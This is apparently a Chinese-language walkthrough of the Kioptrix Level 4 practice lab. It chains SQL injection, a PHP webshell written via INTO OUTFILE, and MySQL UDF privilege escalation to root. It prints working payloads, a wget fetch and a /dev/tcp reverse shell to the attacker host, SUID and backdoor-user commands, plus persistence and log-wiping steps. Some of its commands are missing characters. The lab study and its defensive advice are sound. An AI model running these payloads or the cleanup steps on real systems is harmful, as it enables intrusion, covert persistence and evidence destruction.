1. 项目概述与靶场背景Kioptrix Level 4在安全圈里算是个“老朋友”了。它不是一个虚构的靶场而是基于一个真实存在的、存在多个致命漏洞的旧版Linux发行版构建的。很多新手朋友可能听说过它的大名觉得它是个“入门级”靶场但Level 4这一关恰恰是检验你从Web渗透到系统提权这条完整攻击链理解深度的绝佳试金石。它不像那些只让你弹个计算器或者拿到一个低权限shell的简单靶场它的最终目标是明确的拿到那枚象征着系统至高控制权的Root权限。这个靶场的核心魅力在于它完美模拟了一个经典的渗透场景一个对外提供Web服务的服务器因为开发人员的疏忽在登录功能处留下了致命的SQL注入漏洞。攻击者利用这个漏洞可以绕过身份验证甚至直接向服务器写入一个Webshell。但这仅仅是开始Webshell通常运行在Web服务进程如Apache的www-data用户的权限下权限很低几乎什么都做不了。这时靶场内还“贴心”地预装了一个高版本的MySQL数据库并且数据库的root用户密码是弱口令。这就为我们打开了一扇从Web层权限提升到系统层权限的大门——MySQL UDF提权。整个过程就像一场精心设计的闯关游戏发现注入点 - 利用注入获取Webshell - 通过Webshell连接数据库 - 利用数据库高权限执行系统命令 - 最终拿到系统Root Shell。每一个环节都环环相扣缺一不可。对于想深入理解“为什么SQL注入危害这么大”以及“一次完整的渗透测试到底是怎么做的”的朋友来说手动复现一遍Kioptrix Level 4其收获远大于看十篇理论文章。接下来我就带你一步步拆解这个经典靶场把每个技术点背后的“为什么”都讲清楚。2. 环境准备与信息搜集2.1 靶机与攻击机配置首先你需要一个虚拟化环境VMware Workstation或VirtualBox都可以。Kioptrix Level 4的镜像文件通常是一个.ova或.vmdk文件很容易在 VulnHub 等安全社区找到并下载。导入虚拟机后你通常不需要进行任何配置它默认会以桥接或NAT模式启动并自动获取一个IP地址。攻击机的选择Kali Linux是标配它集成了我们需要的所有工具。确保你的攻击机和靶机在同一个网络段内能够互相ping通。这里有个关键步骤确定靶机的IP地址。由于靶机通常不会显示IP我们需要进行网络扫描。# 使用nmap扫描同一网段内存活的主机假设你的攻击机IP是192.168.1.10 sudo nmap -sn 192.168.1.0/24-sn参数表示只进行Ping扫描不扫描端口速度很快。扫描结果中除了你已知的设备如你的攻击机、路由器那个陌生的IP很可能就是靶机。记下这个IP我们假设它是192.168.1.105。注意在实际渗透测试授权范围内务必明确扫描目标。在自家实验室环境则无需担心。2.2 初步端口与服务探测拿到IP后下一步就是进行详细的端口扫描摸清靶机对外开放了哪些服务这是信息搜集的基石。# 使用nmap进行全端口扫描并尝试识别服务版本和操作系统 sudo nmap -sV -sC -O -p- 192.168.1.105-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行更深入的探测。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。扫描结果通常会显示类似以下内容PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5从结果中我们立刻能提取关键信息80端口运行着Apache和PHP这是我们Web攻击的入口。3306端口运行着MySQL 5.0.51a。这个版本信息至关重要因为它决定了后续UDF提权利用方式的可能性。22端口SSH服务可能是我们最终拿到Root后登录的通道也可能存在弱口令或版本漏洞但本靶场主要不依赖于此。139/445端口Samba服务可能用于信息泄露或作为备用攻击向量但本靶场核心路径不在此。2.3 Web目录与敏感文件发现既然80端口开放我们自然要打开浏览器访问http://192.168.1.105。通常Kioptrix Level 4的Web界面是一个简单的登录页面。但在此之前我们可以用工具先扫一下网站目录和隐藏文件看看有没有备份文件、管理员页面或其他提示。# 使用dirb进行目录爆破使用common.txt字典 dirb http://192.168.1.105 /usr/share/wordlists/dirb/common.txt或者使用更快的gobustergobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt这个步骤可能会发现一些如/admin、/phpinfo.php、/config.php之类的路径但根据经典设置Kioptrix Level 4的入口点就是根目录下的登录页面。我们的主攻方向就是那个登录表单。3. SQL注入漏洞的发现与利用3.1 手动探测注入点访问靶机IP你会看到一个需要输入用户名和密码的登录框。经验告诉我们这种没有验证码、设计简单的登录框是SQL注入的高发区。我们尝试在用户名输入框进行注入测试。最经典的测试载荷是单引号‘。输入admin‘并提交观察页面反应。如果页面返回了数据库错误如MySQL语法错误那么几乎可以断定存在SQL注入漏洞。Kioptrix Level 4正是如此。为了理解后台发生了什么我们推测登录的SQL语句可能是SELECT * FROM users WHERE username ‘$username‘ AND password ‘$password‘当我们输入admin‘时语句变为SELECT * FROM users WHERE username ‘admin‘‘ AND password ‘$password‘这导致单引号未正确闭合引发语法错误。这确认了漏洞存在。3.2 利用Union注入获取信息接下来我们需要利用这个注入点获取更多信息比如数据库版本、当前数据库名、表名、列名最终目标是拿到管理员密码或直接写入Webshell。首先需要判断注入类型和列数。使用order by语句Username: admin‘ order by 1-- - Password: (任意)逐渐增加order by后面的数字2,3,4...直到页面返回错误。如果order by 5错误而order by 4正常说明查询结果有4列。接着使用union select来获取数据。我们需要让前一个SELECT查询结果为空以便显示我们union查询的结果。通常可以令用户名为一个不存在的值。Username: ‘ union select 1,2,3,4-- - Password: (任意)提交后观察页面。如果注入点位置正确页面某处可能在登录提示框或页面空白处会显示union select中的数字例如2和3。这表示页面的这两个位置会回显我们查询的数据。现在我们可以把数字替换成我们想查询的函数Username: ‘ union select 1, version(), database(), 4-- -version(): 返回MySQL版本。database(): 返回当前数据库名。提交后你可能会在页面回显位置看到类似5.0.51a-3ubuntu5和members或webapp的数据库名。这证实了我们能执行任意SQL查询。3.3 获取表名与用户凭证知道了数据库名假设为webapp下一步是爆出表名和列名。MySQL中这些信息存储在名为information_schema的系统数据库中。Username: ‘ union select 1, table_name, 3, 4 from information_schema.tables where table_schema‘webapp‘-- -这条语句会列出webapp数据库中的所有表。你可能会看到users、posts等表名。我们的目标显然是users表。接着爆users表的列名Username: ‘ union select 1, column_name, 3, 4 from information_schema.columns where table_schema‘webapp‘ and table_name‘users‘-- -通常会看到id,username,password等列。最后直接提取用户名和密码Username: ‘ union select 1, username, password, 4 from users-- -提交后你很可能在回显位置看到管理员用户名如admin和一个经过MD5或其它方式哈希处理的密码字符串。实操心得很多时候密码虽然是哈希值但可能是弱密码的简单哈希如MD5(‘password‘)。你可以尝试用在线彩虹表如cmd5.com或本地工具如hashcat进行破解。但在Kioptrix Level 4的经典路径中我们不一定需要破解这个密码因为我们的目标是直接写入Webshell。不过获取凭证是渗透测试中极其重要的一步因为它可能用于登录其他服务如SSH、后台管理面板。4. 通过SQL注入获取Webshell4.1 写入Webshell的原理在确认拥有SQL注入权限且知道Web绝对路径的前提下我们可以利用MySQL的SELECT ... INTO OUTFILE语句将一段PHP代码写入服务器上的一个文件中从而创建一个Webshell。这是将SQL注入漏洞危害升级的关键一步。前提条件数据库用户拥有FILE权限通常root用户拥有。知道Web目录在服务器上的绝对路径如/var/www。MySQL服务对目标目录有写权限。secure_file_priv系统变量没有限制文件导出路径在MySQL 5.0的某些配置中可能为空或指向特定目录。我们可以通过注入查询secure_file_priv的值Username: ‘ union select 1, secure_file_priv, 3, 4-- -如果返回为空字符串“意味着可以写入任何有权限的目录。如果返回NULL则可能禁止文件导出。Web路径可以通过报错信息、经验猜测如/var/www/html,/var/www或利用一些PHP特性如load_file读取/etc/passwd后再结合其他信息判断来获取。对于Kioptrix常见路径是/var/www。4.2 实际写入操作假设Web路径是/var/www我们写入一个最简单的PHP Webshell?php system($_GET[‘cmd‘]); ?这条代码意味着我们访问这个PHP文件时通过URL参数cmd传递系统命令该命令会被执行并返回结果。通过SQL注入执行写入Username: ‘ union select 1, ‘?php system($_GET[“cmd“]); ?‘, 3, 4 into outfile ‘/var/www/shell.php‘-- -注意这里我们将PHP代码作为查询的一个字段用into outfile导出到指定路径。提交后如果页面没有报错理论上文件已经写入。我们可以尝试访问http://192.168.1.105/shell.php?cmdid来验证。如果页面返回了www-data等用户的uid和gid信息恭喜你Webshell写入成功你拥有了在Web服务器上执行系统命令的能力。注意事项这一步可能失败。失败原因包括路径错误、目录无写权限、secure_file_priv限制、单双引号转义问题等。如果失败需要回到信息搜集阶段重新确认路径和权限。也可以尝试写入到/tmp目录再通过其他方法如日志文件包含来执行但Kioptrix Level 4的标准解法通常直接写入Web目录是可行的。5. MySQL UDF提权详解与实操5.1 UDF提权原理深度解析拿到Webshellwww-data权限只是万里长征第一步。这个权限非常受限无法读取/etc/shadow无法安装软件几乎不能做任何对系统有实质控制的事情。这时我们之前发现的MySQL服务3306端口就成了突破口。UDF即User-Defined Function用户自定义函数。MySQL允许用户编写自定义的函数通常用C/C编写编译成动态链接库如.so文件用于Linux.dll用于Windows并通过CREATE FUNCTION语句加载到数据库中从而扩展MySQL的功能。提权的核心逻辑MySQL服务进程mysqld在操作系统中是以某个用户身份运行的。在默认安装或某些配置下MySQL以root用户身份运行或者MySQL的root用户密码是弱口令/空口令Kioptrix Level 4正是如此。如果我们能以MySQLroot用户身份登录并且这个root用户拥有足够的权限通常是ALL PRIVILEGES那么我们就能执行CREATE FUNCTION。我们可以创建一个执行系统命令的UDF函数例如将system函数映射到MySQL中。当我们在MySQL中调用这个自定义函数时它将以运行MySQL服务的系统用户很可能是系统root权限来执行我们指定的系统命令。这样我们就实现了权限提升。简单来说利用高权限的MySQL账户创建一个能执行系统命令的函数从而将数据库权限转化为系统权限。5.2 利用Webshell连接MySQL并验证权限首先通过Webshell执行命令尝试连接MySQL。我们需要MySQL的root密码。在Kioptrix Level 4中这个密码通常是空或非常简单的弱口令如root。我们可以用Webshell进行爆破或尝试常见密码。# 通过Webshell执行 mysql -u root -p # 提示输入密码时直接回车尝试空密码或输入简单密码或者使用一行命令尝试mysql -u root -e “show databases;“如果成功列出数据库则说明root密码为空或已知。更稳妥的方式是通过Webshell的cmd参数执行 访问http://192.168.1.105/shell.php?cmdmysql -u root -e “show databases;“如果返回了数据库列表证明连接成功且权限足够。5.3 编译与上传UDF动态库经典的MySQL UDF提权库是raptor_udf2.c作者Marco Ivaldi。我们需要将其编译成目标系统可用的.so文件并上传到靶机。由于靶机是32位系统从nmap的OS检测和MySQL版本可推断我们需要在攻击机Kali上交叉编译或者更简单的方法直接使用预编译的、兼容性好的版本。网络上可以找到名为lib_mysqludf_sys.so的预编译文件专用于提权。假设我们已有这个lib_mysqludf_sys.so文件。我们需要将其上传到靶机。可以通过Webshell的wget命令从攻击机下载或者使用echo命令配合base64编码直接写入。方法一使用wget需靶机可访问外网或攻击机在内网开启HTTP服务在攻击机Kali上将lib_mysqludf_sys.so放到一个目录并用Python启动一个简单的HTTP服务python3 -m http.server 8080通过Webshell让靶机下载http://192.168.1.105/shell.php?cmdwget http://192.168.1.10:8080/lib_mysqludf_sys.so -O /tmp/udf.so方法二使用echo和base64更通用不依赖网络在攻击机上将.so文件进行base64编码base64 lib_mysqludf_sys.so复制输出的一长串编码字符串。通过Webshell分多次因为URL有长度限制或用脚本方式将编码字符串解码并写入文件http://192.168.1.105/shell.php?cmdecho ‘[粘贴base64编码字符串第一部分]‘ | base64 -d /tmp/udf.so可能需要多次执行追加写入或者编写一个简单的PHP脚本一次性处理长字符串。上传成功后确认文件存在且权限正确http://192.168.1.105/shell.php?cmdls -la /tmp/udf.so5.4 在MySQL中创建UDF函数并执行命令现在通过Webshell连接到MySQL执行以下SQL语句-- 1. 检查是否已有同名函数 DROP FUNCTION IF EXISTS sys_exec; -- 2. 创建函数关联我们上传的.so文件 CREATE FUNCTION sys_exec RETURNS int SONAME ‘/tmp/udf.so‘;sys_exec函数会执行一个系统命令并返回命令的退出状态码。如果执行成功没有报错说明函数创建成功。接下来就可以调用这个函数来执行系统命令了-- 执行id命令验证权限 SELECT sys_exec(‘id /tmp/test.txt; chmod 777 /tmp/test.txt‘);这条SQL语句做了两件事执行id命令并将结果重定向到/tmp/test.txt文件然后修改该文件权限为所有人可读。我们之所以要重定向到文件是因为sys_exec只返回退出码不返回命令输出。然后通过Webshell读取这个文件查看命令执行结果http://192.168.1.105/shell.php?cmdcat /tmp/test.txt如果输出中显示uid0(root) gid0(root) ...那么恭喜你你已经以系统root权限执行了命令5.5 获取交互式Root Shell执行单条命令还不够方便我们需要一个稳定的、交互式的Root Shell。有多种方法方法一反弹Shell在攻击机Kali上监听一个端口nc -lvnp 4444然后通过MySQL UDF执行反弹shell命令SELECT sys_exec(‘bash -c “bash -i /dev/tcp/192.168.1.10/4444 01”‘);或者使用其他语言如python、perl、php的反弹shell单行命令。如果成功你会在Kali的nc终端看到一个root权限的bash shell。方法二设置SUID权限的Bash如果反弹shell不成功可能因为防火墙或靶机没有netcat可以尝试设置一个SUID位的bashSELECT sys_exec(‘cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash‘);执行后通过Webshell运行/tmp/rootbash -p即可获得一个root shell。http://192.168.1.105/shell.php?cmd/tmp/rootbash -p -c “whoami“应该返回root。方法三直接添加Root用户最直接的方式是修改/etc/passwd或/etc/shadow或者使用useradd命令。-- 使用openssl生成一个密码为‘pwned‘的加密字符串示例 -- 在攻击机上运行openssl passwd -1 -salt xyz pwned -- 假设得到$1$xyz$U9tLZP9Bz0bM9gDq2q4nE. SELECT sys_exec(‘useradd -p “\$1\$xyz\$U9ZP9Bz0bM9gDq2q4nE.“ pwnuser; usermod -aG sudo pwnuser‘);然后就可以通过SSH用pwnuser和密码pwned登录并且有sudo权限。常见问题与排查CREATE FUNCTION失败报错ERROR 1127 (HY000): Can‘t find symbol‘ 这通常是因为上传的.so文件与MySQL的架构32/64位或版本不兼容。务必确保使用针对目标系统编译的正确版本。可以尝试寻找其他来源的UDF库。函数创建成功但执行命令没反应 检查命令语法确保路径正确。使用绝对路径如/bin/bash。尝试执行简单的命令如touch /tmp/test123然后检查文件是否创建。MySQL不以root运行 如果MySQL服务是以mysql用户运行的那么UDF提权后获得的也是mysql用户权限不是系统root。需要结合其他本地提权漏洞如内核漏洞、SUID滥用等进行二次提权。Kioptrix Level 4的MySQL默认以root运行所以能一击即中。secure_file_priv限制 即使UDF成功如果MySQL配置了secure_file_priv可能会限制SELECT ... INTO OUTFILE但不一定影响已经加载的UDF函数执行系统命令。6. 权限维持与痕迹清理拓展思考在真实的渗透测试中拿到Root权限并非终点。为了后续访问或证明漏洞危害我们可能需要维持权限并在授权范围内清理部分活动痕迹。这属于后渗透Post-Exploitation范畴在靶场练习中也值得了解。权限维持SSH后门 在~/.ssh/authorized_keys中添加攻击机的公钥实现免密登录。Cron定时任务 添加一个定时反弹shell的cron job。添加用户 如上文所述直接添加一个具有root权限的持久化用户。木马程序 替换系统常用命令如ls,ps为带有后门的版本需要做好备份。痕迹清理Shell历史 清理当前用户的.bash_history或相关shell历史文件。日志文件 清理/var/log/auth.logSSH登录日志、/var/log/apache2/access.log和error.logWeb访问日志、MySQL查询日志等。注意直接删除日志文件可能引起管理员警觉更隐蔽的做法是选择性删除相关条目但这需要更高的技巧。文件时间戳 使用touch命令恢复创建的Webshell、UDF文件等的时间戳使其与周围文件一致。重要声明 在非授权环境中任何形式的权限维持和痕迹清理都是非法且不道德的行为。上述内容仅用于在像Kioptrix这样的合法、隔离的靶场环境中进行学习研究以理解攻击者的完整链条从而更好地进行防御。在实际工作中渗透测试必须在获得明确书面授权的前提下进行并严格遵守测试范围。7. 防御建议与总结反思复现一次完整的攻击最终目的是为了防御。回顾Kioptrix Level 4的整个渗透流程每一个漏洞点都对应着我们可以加强的防御措施SQL注入防御根本方法使用参数化查询Prepared Statements。这是防止SQL注入最有效、最根本的手段确保用户输入永远被当作数据而非代码处理。输入验证与过滤对用户输入进行严格的类型、长度、格式检查。最小权限原则为数据库连接账户分配最小必需的权限避免使用root账户连接Web应用。错误信息处理自定义错误页面避免将详细的数据库错误信息直接返回给用户。Webshell上传防御文件上传限制严格检查上传文件的类型、内容、后缀名。将上传目录设置为不可执行。Web目录权限确保Web目录如/var/www对运行Web服务的用户如www-data只有必要的读写权限并禁止其他用户写入。定期文件监控使用FIM文件完整性监控工具监控Web目录下文件的异常变化。MySQL安全加固禁止远程root登录修改MySQL配置禁止root用户从网络远程登录。使用强密码为MySQL root账户设置复杂、唯一的密码。移除FILE权限除非绝对必要否则不应授予任何MySQL用户FILE权限。配置secure_file_priv将其设置为一个特定的、非Web目录的空目录或者直接设置为NULL以完全禁用LOAD DATA INFILE和SELECT ... INTO OUTFILE。不以root身份运行MySQL服务创建一个专用的、低权限的mysql用户来运行mysqld进程。这是防止UDF提权最关键的防御措施。如果MySQL以普通用户运行即使被注入创建了UDF获得的也是普通用户权限危害大大降低。定期更新与补丁及时更新MySQL到最新稳定版本修复已知漏洞。手动复现Kioptrix Level 4的过程就像一次完整的安全攻防演练。它清晰地展示了一个看似“前端”的Web漏洞SQL注入如何与后端服务配置不当MySQL弱口令、高权限运行产生连锁反应最终导致整个系统沦陷。这提醒我们安全是一个整体任何一环的薄弱都可能成为突破口。作为防御者需要建立纵深防御体系在每一层都设置有效的屏障和监控而不仅仅是修补某个具体的漏洞。